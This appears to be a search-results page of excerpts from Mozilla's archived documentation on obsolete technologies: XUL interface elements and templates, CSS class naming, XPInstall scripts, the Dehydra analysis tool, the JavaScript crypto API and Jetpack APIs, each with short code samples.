... (this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
...for example: ["term 1", "term 2", "term 3", "term 4"] descriptions this optional element is an array of descriptions for each of the suggestions in thecompletion list .
... for example, if the search term is "fir", and you don't need to return descriptions or alternate query urls, you might return the following json: ["fir", ["firefox", "first choice", "mozilla firefox"]] note that in this example, only the query string and completion array are specified, leaving out the optional elements.
Underscores in class and ID Names - Archive of obsolete content
it is a fairly common practice in many programming languages to use the underscore character (_) in the place of a "space" in variable and function names.
... for example, a function whose job is to "get the length of a string" might be called get_string_length, and a variable representing the number of people who voted republican might be voted_republican.
... the css1 specification, published in its final form in 1996, did not allow for the use of underscores in class and id names unless they were "escaped." an escaped underscore would look something like this: p.urgent\_note {color: maroon;} this was not well supported by browsers at the time, however, and the practice has never caught on.
...see the tech note "case sensitivity in class and id names" for more details.
Case Sensitivity in class and id Names - Archive of obsolete content
for example, there might be this css: p.warning {color: red; background: yellow;} ...coupled with this html: <p class="warning">warning!</p> in netscape 6, the paragraph in question will have neither red text nor a yellow background.
...(for a detailed explanation of what html 4.01 says, see the following section, "why so case-sensitive?") the only way to avoid this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your css and javascript.
... the marker "[cs]" means "case sensitive," as defined in section 6.1 of the specification.
...an "illegal" example is given in the specification, preceded by the text: "the following example is illegal with respect to uniqueness since the two names are the same except for case." <p><a name="xxx">...</a> <p><a name="xxx">...</a> we could freely substitute id for name and the point would be the same, since name and id share the same name space (see section 12.2.3).
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" ...
... id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image: url("chrome://tinderstatus/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://tinderstatus/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://tinderstatus/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://tinderstatus/content/tb-busted.png"); } then we need to create two files in the directory, one called contents.rdf which contains information for the ...
...contents.rdf goes in the content sub-subdirectory: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:tinderstatus"/> </rdf:seq> <rdf:description about="urn:mozilla:package:tinderstatus" chrome:displayname="mozilla tinderstatus extension" chrome:author="myk melez" chrome:name="tinderstatus" chrome:extension="true" chrome:description="displays tinderbox status for the mozilla codebase."> </rdf:description> <rdf:seq about="urn:mozilla:overlays"> <rdf:li re...
...source="chrome://navigator/content/navigator.xul"/> </rdf:seq> <rdf:seq about="chrome://navigator/content/navigator.xul"> <rdf:li>chrome://tinderstatus/content/tinderstatusoverlay.xul</rdf:li> </rdf:seq> </rdf:rdf> install.js, on the other hand, goes into the tinderstatus-installer directory: initinstall( "mozilla tinderstatus extension", "/mozdev/tinderstatus", "0.1"); var installdir = getfolder("chrome","tinderstatus"); setpackagefolder(installdir); adddirectory("tinderstatus"); registerchrome( content | delayed_chrome, getfolder(installdir, "content")); var result = performinstall(); if ( result != success ) cancelinstall(result); once all the files are in place, use your zip utility from within the tinderstatus-installer directory to create a zip...
Getting Started - Archive of obsolete content
for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name.
...in the code search for all instances of "my_theme" and replace them with the name of your theme.
... <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> the first section requires that you establish a uuid for your theme and that you give your theme a version number.
...<a href='javascript:installtrigger.installchrome(installtrigger.skin, "myskin.jar", "my skin theme")'>install my skin</a> if you have jar files on your hard drive and would like to install them, then download/use this form.
Creating a hybrid CD - Archive of obsolete content
the creator "moss" is for netscape 4.x and "mozz" is used for mozilla.
... # example filename mapping file used by mkhybrid for hfs # # extn xlate creator type comment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source f...
...ile" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file" changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle' 'giff' "gif file" .png raw 'ogle' 'png ' "png file" .jpg raw 'ogle' 'jpeg' "jpeg file" .jpeg raw 'ogle' 'jpeg' "jpeg f...
...ile" .pl ascii 'mcpl' 'text' "perl file" .pm ascii 'mcpl' 'text' "perl module file" .xml ascii 'r*ch' 'text' "xml file" .xul ascii 'r*ch' 'text' "xul file" .xbl ascii 'r*ch' 'text' "xbl file" .css ascii 'r*ch' 'text' "css file" .dtd ascii 'r*ch' 'text' "dtd file" .js ascii 'r*ch' 'text' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 'tvod' 'mpeg' "mpeg file" .au raw 'tvod' 'ulaw' "audio file" * ascii 'ttxt' 'text' "text file" for more information about recording cds, see the cd-recordable faq.
Dehydra Function Reference - Archive of obsolete content
include example include("map.js") // includes map.js into toplevel var map = {} include("map.js", map) // includes map.js into the map object require({version:, strict:, werror:, gczeal:}) require is used to set runtime execution flags.
... require() example require({strict:true, gczeal:2}) if (require().werror) print("werror is set") warning([code,] msg [, loc]) print a warning message using the gcc warning mechanism.
..."gnu c" or "gnu c++") arguments this.arguments is a javascript array containing command-line arguments passed to a script.
... -fplugin-arg="foo.js a b c" would run foo.js with ["a", "b", "c"] arguments array.
Using Dehydra - Archive of obsolete content
example: printing the location of type declarations save the following c++ code dumptypes.cc: typedef int myint; struct foo { int i; char *c; }; save the following analysis script dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 ...
... see documentation for: process_type, input_end, print, .loc property example: using attributes to mark a class as "final" save the following code as final.cc: // this class should not be subclassed!
... class __attribute__((user("final"))) myclass { }; // this subclass should be an error class subclass : public myclass { }; save the following analysis script final.js: /** * helper function: returns true if a class is marked with the "final" attribute.
... */ function isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) error("class " + t.name + " extends final class " + base.type.name, t.loc); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/final.js -o/dev/null -c final.cc it should print the following results and return with an error code: final.cc:8: error: class subclass extends final class myclass see documentation for: process_type, error, .bases property, .attributes property ...
Style System Overview - Archive of obsolete content
1 matching rule: use value 2+ matching rules: cascade decides which wins: sort by origin (ua, user, author) & weight (!important), then specificity of selector, then order example document source <doc> <title>a few quotes</title> <para class="emph"> franklin said that <quote>"a penny saved is a penny earned."</quote> </para> <para> fdr said <quote>"we have nothing to fear but <span class="emph">fear itself.</span>"</quote> </para> </doc> example document tree doc ↙ ↓ ↘ title para class="emph" para ↓ �...
...�� quote quote ↓ span class="emph" example stylesheet doc { display: block; text-indent: 1em; } title { display: block; font-size: 3em; } para { display: block; } [class="emph"] { font-style: italic; } css style rule representation each declaration block is represented by an nscssdeclaration an cssstyleruleimpl contains each selector associated with that declaration, and the declaration, and is the most important implementation of nsistylerule.
... the rule tree rules: /* rule 1 */ doc { display: block; text-indent: 1em; } /* rule 2 */ title { display: block; font-size: 3em; } /* rule 3 */ para { display: block; } /* rule 4 */ [class="emph"] { font-style: italic; } rule tree: a: null ↙ ↓ ↓ ↘ b: 1 c: 2 d: 3 e: 4 ↓ f: 4 style context tree: doc: b ↙ ↓ ↘ title: c para: f class="emph" para: d ↓ ...
... ↓ quote: a quote: a ↓ span: e class="emph" the rule tree and style data all of the style structs that can be obtained through a style context add up to around 900 bytes.
popChallengeResponse - Archive of obsolete content
resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded cmmf popodeckeychallcontent message.
... the resultstring will either be a base-64 encoded popodeckeyrespcontent message, or one of the following error strings: error string description "error:invalidparameter:xxx" the parameter xxx was an invalid value.
... "error:internalerror" the software encountered some internal error, such as out of memory challenge-response proof of possession expected input: popodeckeychallcontent ::= sequence of challenge -- one challenge per encryption key certification request (in the -- same order as these requests appear in fullcerttemplates).
... -- request is being made) of rand, where rand is specified as -- rand ::= sequence { -- int integer, -- - the randomly-generated integer a (above) -- senderhash octet string -- - the result of applying the one-way function (owf) to -- - the sender's general name -- } -- the size of "int" must be small enough such that "rand" can be -- contained within a single pkcs #1 encryption block.
JavaScript crypto - Archive of obsolete content
<script> function onsmartcardchange() { window.location.reload(); } function register() { window.crypto.enablesmartcardevents = true; document.addeventlistener("smartcard-insert", onsmartcardchange, false); document.addeventlistener("smartcard-remove", onsmartcardchange, false); } function deregister() { document.removeeventlistener("smartcard-insert", onsmartcardchange, false); document.removeeventlistener("smartcard-remove", onsmartcardchange, false); } document.body.onload = register; document.body.onunload = deregister; </script> with the abo...
...e ca/ra ca/ra verifies signature on signed blob ca/ra validates identity of user ca/ra sends wrapped encryption private key to kra kra sends escrow verification back to ca ca creates and signs certificates ca sends certificates back to the user (importusercertificates) typical use the ca's enrollment page could look something like this: <!doctype html> <h2>request a cert</h2> <form name="reqform" method="post" action="http://your.ra.site.org"> <p><input type=hidden name=cert_request value=""> <p>name: <input type=text name=name value=""> <p>password: <input type=password name="password" value=""> <p><input type=submit name="send" value="submit"> </form> <script> /* the following values could be filled in by the server cgi */ var authenticator = "server_magic"; var keytransportcert...
... if (typeof(crypto.version) != "undefined") { crmfobject = crypto.generatecrmfrequest( "cn=" + form.name.value, form.password.value, authenticator, keytransportcert, "setcrmfrequest();", 1024, null, "rsa-dual-use"); } return false; } function setcrmfrequest() { form.cert_request.value = crmfobject.request; form.submit(); } form.onsubmit = validate; </script> on completion of the request, the ca may submit a page that looks something like this: <!doctype html> <h2>certificate request successful</h2> <p>hit 'load' to load your certificate</p> <form name="reqform"> <p><input type=submit name="load" value="submit"></p>...
... </form> <script> /* the following values could be filled in by the server cgi */ var nickname= "mycertnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var forcebackup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, forcebackup); return false; } document.forms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ...
Settings - Archive of obsolete content
because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("storage.settings"); specifying settings in a manifest to specify its settings, a jetpack defines a variable named manifest in its global namespace before it imports the settings api.
... the user can open this interface from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
... here is an example manifest definition: var manifest = { settings: [ { name: "twitter", type: "group", label: "twitter", settings: [ { name: "username", type: "text", label: "username" }, { name: "password", type: "password", label: "password" } ] }, { name: "facebook", type: "group", label: "facebook", settings: [ { name: "username", type: "text", label: "username", default: "jdoe" }, { name: "password", type: "password", label: "secret" } ] }, { name: "music", type: "boolean", label: "music", default: true }, { name: "volume", type: "range", label: "volume", min: 0, max: 10, default: 5 } ] }; // import after defining manifest!
... jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Selection - Archive of obsolete content
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection");var textofsel = jetpack.selection.text;var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection");jetpack.selection.text = 'hello';jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...jetpack.import.future("selection");jetpack.selection.onselection(function(){ var html = jetpack.selection.html; jetpack.selection.html = "<b>" + html + "</b>";}); ...
Selection - Archive of obsolete content
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection"); var textofsel = jetpack.selection.text; var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...jetpack.import.future("selection"); jetpack.selection.onselection(function(){ var html = jetpack.selection.html; jetpack.selection.html = "<b>" + html + "</b>"; }); ...
Selection - Archive of obsolete content
ArchiveMozillaJetpackdocsUISelection
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection"); var textofsel = jetpack.selection.text; var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection from the user.
... jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...jetpack.import.future("selection"); jetpack.selection.onselection(function(){ var html = jetpack.selection.html; jetpack.selection.html = "<b>" + html + "</b>"; }); ...
How to Write and Land Nanojit Patches - Archive of obsolete content
but don't push that update, as that should only be done by a member of that public repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a review.
... for tracemonkey, use the "make update-nanojit" target (it requires that mercurial's "convert" extension be enabled; add "hgext.convert =" to your .hgrc file under "[extensions]").
...at this point the set of changes you are about to push will consist of a sequence of converted revisions from nanojit-central, followed by one of more "fixups" to tr/tm to make them work properly.
...if you ever want to "undo" revisions you copied from nanojit-central, you can backout copied revisions using the existing mercurial "backout" command in your target repository.
Bundles - Archive of obsolete content
when prism is launched with a "-webapp [bundle]" command line, the bundle must first be unpacked before the web application is launched.
...this is why the preferred method of launching is to use the "-webapp [webapp-id]" command line, which looks for the previously installed (unpacked) web application in the prism webapps/{webapp-id} folder.
...the extension looks for <link> tags in the webpage that point to a webapp bundle: <link rel="webapp" href="prismdemo.webapp" title="prism demo"> when the extension finds such a <link> tag, it will notify the user.
...after the .webapp file is executed the first time, these files will be unzipped and "cached" to a local directory structure.
Windows Install - Archive of obsolete content
verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } function updatewinreg4ren8dot3() { var fprogram = getfolder("program"); var ftemp = getfolder("temporary"); //notes: // can't use a double backslash before subkey // - windows already...
... winreg.setrootkey(winreg.hkey_current_user) ;// current_user subkey = "software\\microsoft\\windows\\currentversion\\runonce" ; winreg.createkey(subkey,""); valname = "ren8dot3"; value = fprogram + "ren8dot3.exe " + ftemp + "ren8dot3.ini"; err = winreg.setvaluestring(subkey, valname, value); } } function prepareren8dot3(listlongfilepaths) { var ftemp = getfolder("temporary"); var fprogram = getfolder("program"); var fren8dot3in...
...i = getwinprofile(ftemp, "ren8dot3.ini"); var binicreated = false; var flongfilepath; var sshortfilepath; if(fren8dot3ini != null) { for(i = 0; i < listlongfilepaths.length; i++) { flongfilepath = getfolder(fprogram, listlongfilepaths[i]); sshortfilepath = file.windowsgetshortname(flongfilepath); if(sshortfilepath) { fren8dot3ini.writestring("rename", sshortfilepath, flongfilepath); binicreated = true; } } if(binicreated) updatewinreg4ren8dot3() ; } return(0); } // main var srdest; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logcomment("initinstall: " + err); fprogram = getfolder("program"); logcomment("fprogram: " + fprogram); if(verif...
...ydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
var element = document.getelementbyid("someelement"); while(element.haschildnodes()){ element.removechild(element.firstchild); } inserting menu items to a menu this example adds two new menu items to a <menupopup>: to the start and to the end of it.
... function createmenuitem(alabel) { const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var item = document.createelementns(xul_ns, "menuitem"); // create a new xul menuitem item.setattribute("label", alabel); return item; } var popup = document.getelementbyid("mypopup"); // a <menupopup> element var first = createmenuitem("first item"); var last = createmenuitem("last item"); popup.insertbefore(first, popup.firstc...
...for example you could move the item labeled "first item" to the end of popup by adding this statement as a last line to the snippet above: popup.appendchild(first); this statement would remove the node from its current position in the document and re-insert it at the end of the popup.
...for example: // gets the first anonymous child of the given node document.getanonymousnodes(node)[0]; // returns a nodelist of anonymous elements with anonid attribute equals el1 document.getanonymouselementbyattribute(node, "anonid", "el1"); see getanonymousnodes and getanonymouselementbyattribute in the xbl reference for more information.
MenuButtons - Archive of obsolete content
<button type="menu" label="view"> <menupopup> <menuitem label="icons" type="radio" name="view"/> <menuitem label="list" type="radio" name="view"/> <menuitem label="details" type="radio" name="view"/> </menupopup> </button> note that when the menu is closed, the button doesn't indicate which view is selected.
... <toolbarbutton type="menu" image="cookies.png"> <menupopup> <menuitem label="block cookies" type="checkbox"/> <menuitem label="clear cookies"/> </menupopup> </toolbarbutton> the 'menu-button' button the 'menu-button' type of button is used when you want to attach a menu to a button but want to have a default action carried out when the button is pressed by itself.
... <toolbarbutton type="menu-button" label="save" oncommand="alert('save');"> <menupopup> <menuitem label="save this document"/> <menuitem label="save all" oncommand="alert('save all'); event.stoppropagation();"/> </menupopup> </toolbarbutton> here, the 'save' button has a type of 'menu-button', so a small arrow button will appear which will open the menu when pressed.
... <menuitem label="save this document" default="true"/> see indicating_the_default_item for more information about the default attribute.
Positioning - Archive of obsolete content
for instance: <menupopup id="edititems" position="end_before"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="clipboard" popup="edititems"/> in this example, a menupopup is attached to a label via the popup attribute, which will cause the popup to appear when the label is left-clicked.
...for example, the following might be used with the above example to open the popup: menupopup.openpopup(label, "end_before", 0, 0, false, false); note that the position has been set to 'end_before', as above.
... <button label="popup" type="menu"> <menupopup style="margin-top: 2ex;"> <menuitem label="cat"/> <menuitem label="dog"/> </menupopup> </button> this technique is used internally for tooltips.
... here is an example: <panel left="100" top="200"> <button label="test"/> </panel> the left and top attributes are most useful when using non-autohiding panels.
Tooltips - Archive of obsolete content
<toolbarbutton label="back" tooltiptext="go back one page"/> in this example, a back button on a toolbar is given additional text to appear on a tooltip.
... <toolbar tooltiptext="file buttons"> <toolbarbutton label="open" tooltiptext="open a file"/> <toolbarbutton label="close"/> </toolbar> the 'open' button has a tooltiptext attribute so will have a tooltip of its own.
... <tooltip id="iconic"> <image src="help.png"/> <label value="save a file to a remote site"/> </tooltip> <button label="save" tooltip="iconic"/> in this example, a tooltip with the id 'iconic' contains an image and a label.
...for example: <tooltip id="iconic" onpopupshowing="this.lastchild.value = document.tooltipnode.label;"/> the document.tooltipnode property of the document holds the element that the mouse is hovering over.
Additional Template Attributes - Archive of obsolete content
<listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ...
... <template id="phototemplate"> ...
... <template container="?first" member="?item"> the container and member attributes can be used to specify the container and member variables.
... <hbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template container="?start" member="?photo"> <rule> <image uri="?photo" src="?photo"/> </rule> </template> </hbox> in this example, the ?photo variable can be used instead of 'rdf:*' (although you can use either even if you specify the member variable).
Building Hierarchical Trees - Archive of obsolete content
here is an example for the streets datasource: <tree flex="1" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <treecols> <treecol id="address" primary="true" label="address" flex="1"/> <treecol id="floors" label="floors" flex="1"/> </treecols> <template> <rule rdf:type="http://www.xulplanet.com/rdf/h...
...ouse"> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://www.xulplanet.com/rdf/address"/> <treecell label="rdf:http://www.xulplanet.com/rdf/floors"/> </treerow> </treeitem> </treechildren> </rule> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1.1/title"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> the first rule is for the houses as indicated by the rule's condition and the second rule is for the streets.
... <rdf:bag rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <rdf:li> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/marion" dc:title="marion street"> the result is a two level tree with two columns.
... <tree datasources="people2.xml" ref="*" querytype="xml" rows="10" flags="dont-build-content"> <treecols> <treecol id="name" primary="true" label="name" flex="1"/> </treecols> <template> <query expr="*"/> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?name"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> « previousnext » ...
Static Content - Archive of obsolete content
<menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?
...start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and this one is that the menulist element has some additional content added before the template.
... <radiogroup datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> ...
...<triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup> this example doesn't have any other content to generate outside the radio element with the uri attribute, so it will just be copied as is.
The Joy of XUL - Archive of obsolete content
xul (pronounced "zool") is mozilla's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the internet.
... xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
... xbl the extensible bindings language (xbl) is a markup language that defines special new elements, or "bindings" for xul widgets.
...in one respect, overlays are synonymous with "include" files in other languages because an application may specify that an overlay be included in its definition.
Creating a Skin - Archive of obsolete content
css: .findfilesbox { background-color: #0088cc; } xul: <vbox class="findfilesbox" orient="vertical" flex="100%"> <toolbox> rounding on the tabs next, let's modify the tabs.
... tab:first-child { -moz-border-radius: 4px 0px 0px 0px; } tab:last-child { -moz-border-radius: 0px 4px 0px 0px; } tab[selected="true"] { color: #000066; font-weight: bold; text-decoration: underline; } two rules change the normal tab appearance, the first sets the rounding on the first tab and the second sets the rounding on the last tab.
... #opensearch { list-style-image: url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(48px 16px 64px 0); -moz-box-orient: vertical; } #savesearch { list-style-image: url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(80px 16px 96px 0); -moz-box-orient: vertical; } mozilla provides a custom style property -moz-image-region which can be used to make an element use part of an image.
... #find-button { list-style-image: url("chrome://global/skin/checkbox/images/cbox-check.jpg"); font-weight: bold; } #cancel-button { list-style-image: url("chrome://global/skin/icons/images/close-button.jpg"); } button:hover { color: #000066; } we add some images to the buttons and make the find button have bold text to indicate that it is the default button.
Custom Tree Views - Archive of obsolete content
the following example shows this: <tree id="my-tree" flex="1"> <treecols> <treecol id="namecol" label="name" flex="1"/> <treecol id="datecol" label="date" flex="1"/> </treecols> <treechildren/> </tree> to assign data to be displayed in the tree, the view object needs to be created which is used to indicate the value of each cell, the total number of rows plus other optional information.
... here is an example of defining such as object, which can be called whatever you want: //moz 1.8 var treeview = { rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "february 18"; }, settree: function(treebox){ this.treebox = treebox; }, iscontainer: function(row){ return false; }, isseparator: function(row){ return false; }, issorted: function(){ return false; }, getlevel: function(row){ return 0; }, getimagesrc: function(row,col){ return null; }, getrowproperties: function(row,pr...
... example custom tree source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window title="tree example" id="tree-window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="setview();"> <script> //moz 1.8 var treeview = { rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "february 18"; ...
...rn false; }, issorted: function(){ return false; }, getlevel: function(row){ return 0; }, getimagesrc: function(row,col){ return null; }, getrowproperties: function(row,props){}, getcellproperties: function(row,col,props){}, getcolumnproperties: function(colid,col,props){} }; function setview(){ document.getelementbyid('my-tree').view = treeview; } </script> <tree id="my-tree" flex="1"> <treecols> <treecol id="namecol" label="name" flex="1"/> <treecol id="datecol" label="date" flex="1"/> </treecols> <treechildren/> </tree> </window> in the image, you can see two columns, each with data taken from the getcelltext() function.
Features of a Window - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window.
... for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the new elements.
... <window id="findfile-window" title="find files" width="400" height="450" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> in this example, the window will open with a width of 400 pixels and a height of 450 pixels.
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() next, we'll look at how to open secondary dialogs.
Manifest Files - Archive of obsolete content
the codebase there has not yet adopted the "manifest" format.
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:myapplication"/> </rdf:seq> <rdf:description about="urn:mozilla:package:myapplication" chrome:displayname="application title" chrome:author="author name" chrome:name="myapplication" chrome:extension="true"/> </rdf:rdf> content,install,url,file:///main/app/ create a directory somewhere on your disk.
... the error message "xml parsing error: undefined entity" in your xul file can be caused by an error in the manifest or in the jar file referenced by the manifest.
... for example, in <!doctype window system "chrome://fireclipse/locale/fireclipse.dtd"> the dtd file must exist and its directory must be correctly addressed in the "locale" manifest or xml parsing will fail.
More Event Handlers - Archive of obsolete content
example 1 : source view <vbox oncommand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing.
...example 2 : source view <hbox id="outerbox"> <button id="okbutton" label="ok"/> </hbox> <script> function buttonpressed(event){ alert('button was pressed!'); } function boxpressed(event){ alert('box was pressed!'); event.stoppropagation(); } var button = document.getelementbyid("okbutton"); button.addeventlistener('command',buttonpressed,true); var outerbox = document.getelementbyid("outerbox"); outerbox.addeventlisten...
...example 3 : source view <button label="types" type="menu"> <menupopup onpopupshowing="event.preventdefault();"> <menuitem label="glass"/> <menuitem label="plastic"/> </menupopup> </button> alternatively, for attribute event listeners, you can just return false from the code.
